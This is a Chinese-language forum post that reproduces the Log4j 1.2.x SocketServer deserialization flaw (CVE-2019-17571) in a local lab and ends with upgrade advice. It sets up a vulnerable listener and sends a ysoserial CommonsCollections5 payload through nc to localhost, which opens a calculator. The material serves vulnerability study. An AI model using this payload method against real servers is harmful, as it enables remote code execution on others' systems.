taibeihacker
Moderator
Apache Log4j SocketServer 反序列化漏洞复现
Apache Log4j 是一個基於Java 的日誌記錄工具,是Apache 軟件基金會的一個項目,是幾種Java 日誌框架之一。近日,Apache Log4j 官方披露在1.2.x 版本中的SocketServer類存在反序列化漏洞(CVE-2019-17571),攻擊者可利用漏洞可實現遠程代碼執行。
Log4j 1.2.x 版本中的org.apache.log4j.net.SocketServer 類,存在反序列化漏洞。使用Log4j SocketServer 類創建的Socket 監聽服務處理接受數據時,容易對不可信數據進行反序列化,結合反序列化小工具,攻擊者可以實現遠程代碼執行。
环境搭建
用到的jar 包:
1
java -cp log4j-1.2.17.jar:commons-collections-3.1.jar org.apache.log4j.net.SocketServer 8888 ./log4jserver.properties ./

漏洞复现
1java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 'open -a Calculator' | nc 127.0.0.1 8888

發送payload 後,成功彈出計算器:

修复建议
Apache Log4j 的1.2 系列版本官方在2015年8月已停止維護,在2.8.2 版本中已修復了該漏洞,建議盡快升級到2.8.2 或更高的版本;下載地址:https://logging.apache.org/log4j/2.x/download.html
停止使用Log4j 的SocketServer 類創建Socket 服務,未使用Log4j 的SocketServer 類的功能不受漏洞影響;